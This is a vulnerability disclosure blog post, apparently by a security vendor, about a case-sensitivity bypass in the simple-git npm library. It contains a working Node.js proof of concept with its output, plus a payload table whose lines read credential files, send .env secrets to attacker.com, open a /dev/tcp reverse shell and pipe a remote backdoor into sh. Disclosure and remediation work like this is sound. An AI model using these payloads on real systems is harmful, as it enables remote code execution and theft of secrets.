case-sensitive. // Git normalises config key names to lowercase internally. // Uppercase variant passes the check; git enables ext:: and executes. git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [ '-c', 'PROTOCOL.ALLOW=always', // uppercase - NOT caught by regex ]).catch((e) => { console.log('[Vector 2] Uppercase bypass (PROTOCOL.ALLOW=always):'); console.log(' ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED ⚠️ - ' + SENTINEL + ' created' : 'not created'); console.log(' Result:', fs.existsSync(SENTINEL) ? 'BYPASSED ⚠️ - RCE confirmed' : 'BLOCKED ✅'); console.log(); }); // ── Vector 3 - Real-world scenario ──────────────────────────────────────── // An application cloning a repo with user-controlled customArgs. // Attacker injects PROTOCOL.ALLOW=always and a malicious ext:: URL. const SENTINEL_RW = '/tmp/pwn-realworld'; try { fs.unlinkSync(SENTINEL_RW); } catch (_) {} const userArgs = ['-c', 'PROTOCOL.ALLOW=always']; const attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2'; simpleGit().clone( attackerURL, '/tmp/codeant-quality-gates', userArgs ).catch(() => { console.log('[Vector 3] Real-world scenario (attacker-controlled args + URL):'); console.log(' ext:: executed:', fs.existsSync(SENTINEL_RW) ? 'PWNED ⚠️ - ' + SENTINEL_RW + ' created' : 'not created'); console.log(' Result:', fs.existsSync(SENTINEL_RW) ? 'BYPASSED ⚠️ - RCE confirmed' : 'BLOCKED ✅'); console.log(); // Summary setTimeout(() => { console.log('=== Summary ==='); console.log('# Vector Payload Result'); console.log('1 CVE-2022-25912 original protocol.ext.allow=always Blocked ✅'); console.log('2 Case-sensitivity bypass PROTOCOL.ALLOW=always ' + (fs.existsSync(SENTINEL) ? 'RCE ⚠️' : 'Blocked ✅')); console.log('3 Real-world app scenario PROTOCOL.ALLOW=always + ext:: ' + (fs.existsSync(SENTINEL_RW) ? 'RCE ⚠️' : 'Blocked ✅')); }, 500); });
Output:
$ timeout 45s node poc.js [Vector 1] Original CVE-2022-25912 (lowercase): ext:: executed: not created Result: BLOCKED ✅ Error: GitPluginError [Vector 2] Uppercase bypass (PROTOCOL.ALLOW=always): ext:: executed: PWNED ⚠️ - /tmp/pwn-codeant created Result: BYPASSED ⚠️ - RCE confirmed [Vector 3] Real-world scenario (attacker-controlled args + URL): ext:: executed: PWNED ⚠️ - /tmp/pwn-realworld created Result: BYPASSED ⚠️ - RCE confirmed === Summary === # Vector Payload Result 1 CVE-2022-25912 original protocol.ext.allow=always Blocked ✅ 2 Case-sensitivity bypass PROTOCOL.ALLOW=always RCE ⚠️ 3 Real-world app scenario PROTOCOL.ALLOW=always + ext:: RCE ⚠️ [exit_code]
Vector 1 confirms the original fix works - lowercase protocol.ext.allow=always is blocked. Vectors 2 and 3 confirm the bypass - uppercase PROTOCOL.ALLOW=always sails through, and the ext:: command executes. Full RCE on the first try.
What the Attacker Can Do
Once the ext:: protocol is enabled, the attacker can execute any OS command as the Node.js process user:
Goal | Payload |
|---|---|
Read sensitive files | ext::sh -c cat% /etc/passwd% >&2 |
Exfiltrate secrets | ext::sh -c curl% -d% @/app/.env% attacker.com% >&2 |
Reverse shell | ext::sh -c bash% -i% >%26% /dev/tcp/attacker/4444% 0>%261% >&2 |
Install malware | ext::sh -c curl% attacker.com/backdoor\|sh% >&2 |
Lateral movement | ext::sh -c cat% ~/.ssh/id_rsa% >&2 |
This is full remote code execution with the privileges of the running Node.js process.
Blast Radius: 12 Million Weekly npm Downloads, 73% Still Vulnerable
simple-git is one of the most widely-used Git libraries in the entire Node.js ecosystem:
Metric | Value |
|---|---|
Weekly npm downloads | 12,410,544 |
GitHub dependents (repositories) | 322,686 |
npm dependents (packages) | 9,032 |
Total dependents (deps.dev) | 6,930 |
The fix shipped in v3.32.3 on February 26, 2026. As of the time of writing, 73% of all simple-git downloads - approximately 9 million installs per week - are running vulnerable versions.
Why is adoption so slow? Because CVE-2026-28292 has not been published to the NVD. The advisory (GHSA-r275-fr43-pm7q) is accepted but not yet public. Until it is:
npm auditdoes not flag itDependabot does not create upgrade PRs
Renovate does not flag it
Snyk CLI does not detect it
No SCA tool on the market catches this
This is exactly the detection gap our research aims to expose. A CVE can be assigned, a fix can be released, and yet 73% of the ecosystem remains blind because the advisory hasn’t propagated to the vulnerability databases that automated tools rely on.
Notable Dependents at Risk
Project | GitHub Stars | Risk Surface |
|---|---|---|
n8n-io/n8n | 178,000+ | Git operations in user-defined workflows |
scullyio/scully | 2,544 | Git clone during build |
realm/realm-studio | 338 | Git operations in app |
Various CI/CD tools | - | Clone user-specified repos with custom args |
Any application that accepts user-controlled Git arguments - via API endpoints, form inputs, configuration files, or workflow definitions - is directly exploitable.
Why This Matters: CWE-178 Case-Sensitivity Mismatches in Security Controls
This vulnerability is a specific instance of CWE-178: Improper Handling of Case Sensitivity - a class of vulnerability where a security control and the system it protects disagree about case sensitivity.
The security control (simple-git’s regex) is case-sensitive. The underlying system (Git) is case-insensitive. Any time there is a mismatch like this, an attacker can exploit the gap by using a case variant that passes through the control but is still honoured by the system.
This pattern appears across security boundaries everywhere:
WAFs that check for
<SCRIPT>but miss<ScRiPt>- browsers are case-insensitive for HTML tagsAuth systems that check for
adminbut missAdmin- databases may use case-insensitive collationFile systems that block
..\\\\windows\\\\system32but miss..\\\\WINDOWS\\\\System32- NTFS is case-insensitive
In each case, the fundamental error is the same: the filter’s case model doesn’t match the target system’s case model. A regex that checks [a-z] while guarding a system that treats A and a identically is not a filter - it’s a gate with a sign that says “please use lowercase.”
This is not a simple-git-specific problem. It’s a pattern. Code that handles the expected input but not the spec-allowed input shows up everywhere - in regex-based security filters, in path traversal protections, in deserialization guards. The fix addresses the reported attack vector. But nobody steps back and asks: what else does this code path allow?
We’ve been asking that question across npm, PyPI, Maven, and NuGet. Last week it was pac4j-jwt. This week it’s simple-git. The rest are coming.
Detection Gap: npm audit, Snyk, Dependabot, Semgrep All Miss CVE-2026-28292
We tested every major security tool against this vulnerability:
Tool | Detects CVE-2026-28292? | Why? |
|---|---|---|
CodeAnt AI | Yes ✅ | AI-assisted analysis of prior CVE fix quality |
npm audit | No ❌ | CVE not yet in NVD/npm advisory database |
Snyk | No ❌ | Same - awaiting advisory publication |
Dependabot | No ❌ | Same |
Semgrep | No ❌ | No rule for case-sensitive regex in security contexts |
SonarQube | No ❌ | No rule for case-sensitivity mismatches |
ESLint security plugins | No ❌ | No awareness of Git’s case behaviour |
The gap is structural. Traditional SCA tools match dependency versions against known CVE databases. If the CVE isn’t published, the tool is blind. Traditional SAST tools check for code patterns, but no existing rule captures “regex for security check is case-sensitive while the target system is case-insensitive.”
This is why CodeAnt AI’s approach - re-examining prior CVE patches with AI-assisted reasoning - catches vulnerabilities that every other tool misses. The AI understands that [a-z] in a regex guarding against a case-insensitive system is a semantic mismatch, not just a syntax issue.
The Disclosure: Four Days from Report to Fix
We reported the vulnerability via GitHub Private Vulnerability Reporting on February 22, 2026. Full technical details, PoC, root cause analysis - everything you’ve read in this post.
The maintainer, Steve (steveukx), opened a fix PR within three days, the advisory was accepted, and the fix shipped in v3.32.3 on February 26. CVE-2026-28292 was assigned by GitHub staff the following day.
Four business days. Report to patch to CVE assignment.
A Note on Open Source Maintainers
This needs to be said every time, because it’s true every time: open-source maintainers are doing extraordinary work, and they rarely get the credit they deserve.
Steve maintains simple-git - a library that 12 million installs per week depend on. When our team reported a critical bypass of two prior security fixes, he treated it with urgency and professionalism. The fix was clean, the tests were expanded, and the release was prompt.
We said this last week about Jérôme and pac4j, and we’ll say it again: open-source maintainers carry the weight of the modern software supply chain. They deserve more than our bug reports. They deserve our respect, our gratitude, and our support. If your company depends on simple-git - or any open-source project - consider sponsoring the maintainer. These are the people standing between your production systems and the next critical vulnerability, and most of them are doing it for free.
Steve, thank you.
Timeline
Date | Event |
|---|---|
2022 | CVE-2022-25912 - Original |
2022 | CVE-2022-25860 - First bypass discovered and patched |
February 22, 2026 | Vulnerability flagged by CodeAnt AI code reviewer; confirmed by security engineer and PoC verified |
February 22, 2026 | Reported via GitHub Private Vulnerability Reporting (GHSA-r275-fr43-pm7q) |
February 25, 2026 | Maintainer (steveukx) opens fix PR #1128 |
February 25, 2026 | Advisory accepted by maintainer |
February 26, 2026 | Fix merged and released as v3.32.3 |
February 27, 2026 | CVE-2026-28292 assigned by GitHub staff |
Pending | Public NVD publication |
Are You Affected?
Step 1: Check if you depend on simple-git
npm ls
If you see any version below 3.32.3, you are vulnerable.
Step 2: Check if user input reaches simple-git
Search your codebase for patterns where user-controlled values could reach simple-git method arguments:
grep -rn -E "simpleGit|simple-git" --include="*.js" --include="*.ts" | grep -E "clone|fetch|pull|push|raw"
You’re at highest risk if:
Your application accepts repository URLs from users
Your application passes user-controlled options or custom arguments to simple-git methods
You run simple-git in CI/CD pipelines that clone user-specified repositories
Step 3: Update
npmVerify the upgrade:
npm ls simple-git # Should show 3.32.3 or higher
If you cannot upgrade immediately, audit every code path where user input reaches simple-git arguments. Never pass user-controlled values directly to customArgs or raw(). Validate and sanitise explicitly - do not rely solely on simple-git’s built-in plugin.
Two Critical CVEs in One Week
Last week we published CVE-2026-29000 - a CVSS 10.0 authentication bypass in pac4j-jwt, where an attacker could forge admin tokens using nothing but a public key. This week, CVE-2026-28292 - a CVSS 9.8 RCE in simple-git, where changing a single letter to uppercase bypasses two prior security fixes.
Different ecosystems. Different vulnerability classes. Same root cause: the patch fixed the reported attack vector, not the vulnerability.
This is what our research program keeps finding. Patches are written under time pressure. They fix the exact reproduction case from the bug report. They rarely account for all the ways an attacker can vary the input. And once a CVE is marked as “fixed,” nobody goes back to check.
We do. And our AI code reviewer is how we do it at scale. It doesn’t just pattern-match against known CVEs - it reasons about whether a security control actually achieves what it claims to. A regex that uses [a-z] to guard against a case-insensitive system isn’t a known CVE pattern. It’s a semantic mismatch. That’s what AI catches and rule-based tools don’t.
This research is part of an ongoing effort by CodeAnt AI Security Research to audit whether CVE patches in widely-used open-source packages actually fix the underlying vulnerability. We believe the open-source ecosystem deserves better tools, better auditing, and more support for the maintainers who keep it running. More findings will be published as patches ship and coordinated disclosure timelines are met.
If you are a maintainer and have been contacted by our team - thank you for your work. If you believe your package may be affected by a similar pattern, we’d love to help: securityresearch@codeant.ai
FAQs
What is CVE-2026-28292?
What versions of simple-git are affected?
Who discovered CVE-2026-28292?
How do I check if my application is vulnerable?
How do I fix CVE-2026-28292?
What is the relationship between CVE-2026-28292, CVE-2022-25912, and CVE-2022-25860?
See if you are affected
Enter your simple-git version. You can find it by running npm ls simple-git in your project.







